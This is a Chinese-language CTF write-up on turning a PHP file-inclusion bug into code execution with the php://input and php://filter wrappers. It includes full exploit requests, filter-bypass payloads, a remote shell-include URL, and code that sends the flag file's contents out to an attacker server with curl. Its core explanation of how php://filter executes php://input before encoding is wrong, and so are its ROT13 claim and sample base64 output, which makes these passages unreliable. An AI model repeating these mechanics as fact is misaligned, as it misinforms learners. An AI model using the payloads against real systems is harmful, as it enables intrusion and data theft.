PHP伪协议实战:利用php://input与php://filter实现文件包含与RCE
1. 项目概述与核心思路最近在CTFHub上刷题遇到一个典型的PHP文件包含结合RCE的挑战题目本身不复杂但正好把php://input和php://filter这两个经典的PHP伪协议给串起来了。很多刚接触Web安全的朋友对伪协议的理解可能停留在“知道有这么个东西”但具体怎么用、为什么这么用、在实战中如何组合拳出击可能还比较模糊。这个挑战就是一个绝佳的实战案例它要求你不仅要用php://input执行命令还要用php://filter去读取执行结果也就是flag。今天我就结合这个具体的CTF题目把这两个协议从原理到实战掰开揉碎了讲清楚让你下次遇到类似场景能直接“秒杀”。简单来说这个挑战的核心是目标网站有一个文件包含漏洞并且allow_url_include配置是开启的。我们的任务就是利用php://input伪协议将POST请求体中的数据作为PHP代码执行从而运行系统命令如cat /flag来获取flag。但题目通常不会直接把命令执行的结果回显在页面上这时候就需要第二个协议php://filter出场它可以将目标文件比如包含我们执行命令后生成结果的文件或者直接包含php://input本身经过某种处理后的流的内容进行编码转换如Base64从而绕过一些显示限制或直接读取到原始输出。整个攻击链清晰展示了如何将两个看似独立的协议组合起来完成从代码注入到信息读取的完整利用。2. PHP伪协议核心原理深度解析在动手之前我们必须搞清楚手里的“武器”到底是什么。PHP伪协议PHP Wrappers是PHP提供的一种访问各种输入/输出流如文件、网络、数据压缩等的通用方法格式为scheme://...。在安全测试中它们常被用于利用文件包含、文件读取等漏洞实现本地文件包含LFI、远程文件包含RFI甚至代码执行。2.1 php://input 的本质与工作条件php://input是一个只读流用于访问请求的原始数据。简单来说在POST请求中它获取的就是HTTP POST的请求体Body原始数据。它的核心工作机制是这样的当PHP脚本通过include()、require()、file_get_contents()等函数尝试去读取php://input时PHP解释器并不会把它当作一个普通的文件路径去磁盘上寻找而是会转向当前HTTP请求的输入流。如果此时流中有数据比如我们POST了一段PHP代码过去PHP就会把这些数据当作包含的文件内容来解析执行。这里有一个至关重要的前提allow_url_include配置必须为On。这个PHP配置项决定了是否允许include、require等文件包含函数去加载URL如http://、ftp://或流如php://作为文件。默认情况下这个选项在php.ini中是Off的因为开启它会显著增加安全风险。但在一些CTF题目或老旧、配置不当的系统中可能会被开启这就为我们利用php://input执行代码打开了大门。实操心得遇到疑似文件包含的点第一步就是尝试读取/etc/passwd或php://filter/resource/etc/passwd来确认漏洞存在。第二步就是查看phpinfo()信息确认allow_url_include和allow_url_fopen的状态。很多题目会直接给出phpinfo.php的链接这就是在明示攻击方向。2.2 php://filter 的妙用与编码转换如果说php://input是一把用于注入代码的“枪”那么php://filter就是一个功能强大的“处理器”或“转换器”。它允许你在读取文件内容时对数据进行过滤编码或解码。其基本语法是php://filter/read过滤器列表/resource要读取的文件或者简写为php://filter/过滤器列表/resource要读取的文件常用的过滤器包括convert.base64-encode将文件内容进行Base64编码后输出。convert.base64-decode将Base64编码的内容解码但通常用于写入过滤。string.rot13对内容进行ROT13编码。string.toupper/string.tolower转换大小写。zlib.deflate/zlib.inflate进行压缩/解压缩。在CTF和安全测试中php://filter主要有两大用途读取敏感文件当直接包含或读取文件如/etc/passwd,./config.php时如果文件内容被直接输出到页面可能会因为包含PHP代码而被执行导致我们看不到源代码。这时用convert.base64-encode过滤器将文件内容Base64编码后再输出我们拿到Base64字符串解码即可获得原始内容。这是读取应用程序源码的经典手法。配合文件包含实现信息获取在本挑战中它被用于处理php://input执行命令后的输出。因为直接包含php://input执行命令结果可能被嵌入到HTML中不显示或者被其他函数处理。通过filter对包含php://input的“结果流”进行Base64编码可能可以让我们捕获到命令执行的原始输出。理解这两个协议是独立但又可串联的“模块”至关重要。php://input负责提供“可执行的输入流”php://filter负责对“某个资源可能是文件也可能是input流本身”进行加工处理以便读取。3. CTFHub RCE挑战实战拆解现在我们回到具体的题目环境。根据网络上的Writeup信息题目通常会给出一段简单的源代码核心漏洞点非常清晰。3.1 漏洞代码分析与环境判断假设题目给出的源码如下这是此类题目的典型结构?php error_reporting(0); $file $_GET[file]; if(isset($file)){ include($file); } else { highlight_file(__FILE__); } ?这段代码逻辑极其简单从GET参数file中获取值然后直接放入include()函数。这就是一个赤裸裸的文件包含漏洞。解题第一步信息收集确认包含漏洞访问/?file/etc/passwd如果页面显示了系统用户列表则LFI漏洞存在。检查PHP配置题目下方往往会给一个phpinfo.php的链接比如http://target/phpinfo.php。访问它搜索allow_url_include和allow_url_fopen确认其值为On。这是使用php://input的前提。尝试直接包含php://input如果配置开启我们就可以规划攻击了。3.2 利用php://input执行系统命令攻击的核心是我们通过include()函数去包含php://input这个“流”同时我们在POST请求体中发送我们想要执行的PHP代码。PHP解释器会读取这个流的内容即我们的POST数据并将其当作PHP代码来执行。构造Payload的详细步骤请求结构POST /?filephp://input HTTP/1.1 Host: challenge-xxx.sandbox.ctfhub.com:10080 User-Agent: Mozilla/5.0 Accept: text/html Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 计算出的长度 ?php system(cat /flag); ?关键点拆解请求方法必须使用POST方法。因为php://input读取的是POST Body。参数传递文件包含的参数file通过GET方式传递值为php://input。请求体Body这就是我们要执行的PHP代码。通常是一个简单的命令执行函数如?php system(cat /flag); ?、?php echo shell_exec(ls -la /); ?。注意代码必须用PHP标签包裹。Content-Length头这个头必须正确设置且其值必须等于你POST Body的实际字节长度包括空格和换行符。计算错误会导致服务器无法正确读取全部Body内容。例如?php system(cat /flag); ?这个字符串的长度是32字节可以用echo -n ?php system(cat /flag); ? | wc -c命令计算。Connection头设置为close可以确保请求完成后立即断开避免长连接干扰在测试中更稳定。使用工具演示以Burp Suite为例拦截对目标网站的任意请求。将其改为POST请求并在GET参数中添加?filephp://input。在请求最下方添加POST Body输入?php system(cat /flag); ?。修改Content-Length头为正确的值例如32。发送请求。预期结果与问题如果一切顺利服务器会执行cat /flag命令并将命令的输出即flag内容返回。但是在这个具体的CTF题目中直接这样做可能会遇到一个问题命令执行的输出并没有直接显示在我们看到的网页上。这可能是因为输出被包含到了页面的某个不起眼的位置或者被缓冲、转换了。这就是我们需要php://filter的原因。注意事项在实际操作中命令执行函数的选择很重要。system()会直接输出结果shell_exec()将输出作为字符串返回需要配合echo才能看到exec()只返回最后一行且需要第二个参数来获取全部输出数组。如果system被禁用可以尝试passthru()、popen()甚至反引号ls。3.3 组合php://filter读取执行结果当直接包含php://input执行命令看不到回显时我们就需要想办法“捕获”这个输出。一个巧妙的思路是让php://input执行的代码将其输出结果写入到一个临时文件或者直接对包含php://input这个操作本身进行编码输出。但更常见的解法也是本题的预期解是直接对php://input这个资源应用php://filter进行读取。听起来有点绕我们来看PayloadGET /?filephp://filter/readconvert.base64-encode/resourcephp://input HTTP/1.1 Host: challenge-xxx.sandbox.ctfhub.com:10080 Content-Type: application/x-www-form-urlencoded Content-Length: 32 ?php system(cat /flag); ?这里发生了两次“包含”吗不是的。正确的理解是include()函数尝试加载file参数的值php://filter/readconvert.base64-encode/resourcephp://input。这个值告诉PHP我要读取resource指定的资源即php://input但在读取之前先用convert.base64-encode过滤器处理一下。PHP开始处理resourcephp://input。由于这是一个php://input流并且当前请求是一个POST请求注意虽然我们用了GET请求传参但整个请求是POST方法PHP会去读取请求体Body的内容?php system(cat /flag); ?。关键的一步来了PHP会执行这段从php://input读取到的代码。system(cat /flag)被执行命令输出假设flag是ctfhub{test_flag}被生成。这个命令执行的输出ctfhub{test_flag}会作为php://input这个“资源”的“内容”。然后convert.base64-encode过滤器开始工作将这个“内容”即ctfhub{test_flag}进行Base64编码。最后编码后的结果Y3RmaHViY3Rlc3RfZmxhZwo被include()函数包含并最终输出到HTTP响应中。所以我们会在网页上看到一串Base64编码的字符串。将其解码就能得到flag。为什么这样能行因为include()在包含一个文件或流时会先读取其内容。如果内容是PHP代码就执行如果不是比如纯文本就直接输出。当我们用filter对php://input进行编码时filter机制会先获取resource即php://input的“内容”。而获取php://input内容的过程触发了其中PHP代码的执行并将执行结果纯文本作为了“内容”。随后对这个文本内容进行Base64编码最终输出的是编码后的文本而非可执行的PHP上下文因此代码执行的结果被“固化”并编码输出了。4. 高级利用技巧与绕过思路掌握了基础用法我们来看看一些更深入的技巧和可能遇到的障碍及绕过方法。4.1 过滤器链Filter Chains的复杂应用php://filter支持多个过滤器串联形成过滤器链格式为php://filter/readfilter1|filter2/resourcefile。这可以用于构造一些特殊的攻击载荷。例如如果目标对包含的文件后缀有检查比如要求包含.php文件我们可以尝试php://filter/readconvert.base64-encode/resourceindex.php这样可以直接读取网站的PHP源码Base64编码后从中寻找数据库配置、其他漏洞点等。更复杂的可以利用string.rot13过滤器。因为?php经过ROT13编码后会变成?cuc这不再是有效的PHP开放标签因此可以绕过某些基于内容匹配的?php标签检查然后再结合include函数对ROT13编码内容的自动解码执行特性前提是php.ini中allow_url_include为On且设置了auto_prepend_file等特定条件此利用条件较苛刻但CTF中可能出现。4.2 常见WAF或限制绕过关键词过滤如过滤system,cat,flag字符串拼接sy.stem(‘cat /fl’ . ‘ag’)。编码绕过使用Base64编码命令。?php system(base64_decode(Y2F0IC9mbGFn)); ?其中Y2F0IC9mbGFn是cat /flag的Base64编码。使用其他命令或函数如果cat被过滤尝试tac、more、less、head、tail、nl或者直接使用/bin/cat。读取文件也可以用file_get_contents(‘/flag’)、highlight_file(‘/flag’)、readfile(‘/flag’)。通配符cat /fla*、cat /fl?g。内联执行echo $(cat /flag)或 cat /flag。协议名过滤如过滤php://大小写混淆PHP://input、Php://InputPHP协议处理对大小写不敏感。多重编码如果只是简单的字符串匹配可以尝试URL编码php:%2F%2Finput。但注意include函数最终接收到的参数是解码后的所以服务端需要能正确解码。使用其他协议如果allow_url_include为On且服务器能访问外部网络可尝试远程文件包含RFIhttp://your-server/shell.txt。但CTF环境通常无外网。请求方法限制如果服务器端代码强制检查请求方法例如要求必须是POST才能包含php://input那么我们的攻击请求就必须是POST。4.3 无回显场景下的信息外带Out-of-Band在真正的渗透测试中命令执行可能完全没有回显盲注。这时就需要利用DNS或HTTP请求将数据带出来。利用php://input执行无回显命令?php // 通过DNS解析记录外带数据 system(curl http://your-server/cat /flag | base64.your-domain.com); // 或通过HTTP请求外带 $flag file_get_contents(/flag); $ch curl_init(http://your-server/); curl_setopt($ch, CURLOPT_POSTFIELDS, flag . urlencode($flag)); curl_exec($ch); ?这需要你拥有一台可控的公网服务器来接收数据。5. 实战演练与问题排查实录光说不练假把式。下面我模拟一个完整的、可能遇到问题的实战过程并给出排查思路。场景你按照标准Payload发送了请求但返回的是空白页面、错误页面或者是一串乱码而不是预期的Base64字符串。排查步骤确认漏洞点与配置再次访问phpinfo.php双重确认allow_url_includeOn。同时检查disable_functions列表看system、shell_exec、exec、passthru等函数是否被禁用。如果关键函数被禁用需要更换执行方法比如用scandir()列目录用file_get_contents()读文件。检查请求格式请求方法确保是POST请求。在Burp Suite的Repeater模块中右键可以更改请求方法。Content-Length这是最常见的坑。务必精确计算Body长度。一个快速的方法是在Burp的Payload输入框下方它会实时显示字符数注意换行符CRLF通常是2个字节\r\n而Burp里按Enter默认是\n1个字节。最好使用Copy to file然后查看文件属性中的字节大小。PHP标签闭合确保Body以?php ... ?包裹并且没有多余的空白字符如开头意外的空格或换行。有时甚至需要尝试不加结束标签?因为PHP代码段在文件末尾可以省略闭合标签。尝试简化Payload先执行一个简单的命令确认RCE是否生效?php echo test; ?。如果页面输出test说明php://input执行成功。再执行一个无害的系统命令?php system(whoami); ?。观察是否有回显。如果直接执行无回显立刻加上filter进行Base64编码读取?filephp://filter/readconvert.base64-encode/resourcephp://inputPOST Body为?php system(whoami); ?。查看返回的Base64字符串解码后是否是www-data或类似权限用户。检查路径与权限cat /flag是最常见的flag位置但也可能在/flag.txt、/home/ctf/flag、./flag、../flag甚至藏在环境变量里。如果cat失败可以先尝试列目录?php system(ls -la /); ? ?php print_r(scandir(/)); ?使用filter编码输出查看结果。处理特殊字符与编码如果flag内容包含特殊字符直接输出可能会被HTML实体编码或破坏格式。Base64编码输出是最稳妥的方式。如果服务器返回的是乱码检查响应头的Content-Type可能是gzip压缩了。在Burp中可以右键选择“Do intercept” - “Response to this request”然后删除Accept-Encoding: gzip, deflate请求头再重发。利用错误信息开启PHP错误显示有时能提供线索。可以在Payload开头加上error_reporting(E_ALL); ini_set(display_errors, 1);。但注意这可能会因为安全配置而无效。一个典型的成功攻击流程记录访问目标发现?file参数。测试?file../../../../etc/passwd成功读取确认LFI。访问/phpinfo.php确认allow_url_include Ondisable_functions列表为空或未禁用关键函数。在Burp中构造请求POST /?filephp://filter/readconvert.base64-encode/resourcephp://inputBody:?php system(ls /); ?发送请求获得一段Base64响应YmluCmJvb3QKZGV2CmV0YwpmbGFnC...。解码后得到目录列表发现flag文件。修改Body为?php system(cat /flag); ?重新发送请求。获得新的Base64响应解码后得到flagctfhub{this_is_a_sample_flag}。这个过程清晰地展示了从漏洞发现、环境侦察、到武器组合利用、最终获取目标的完整链条。理解每个环节的原理就能在遇到变种题目时灵活应对。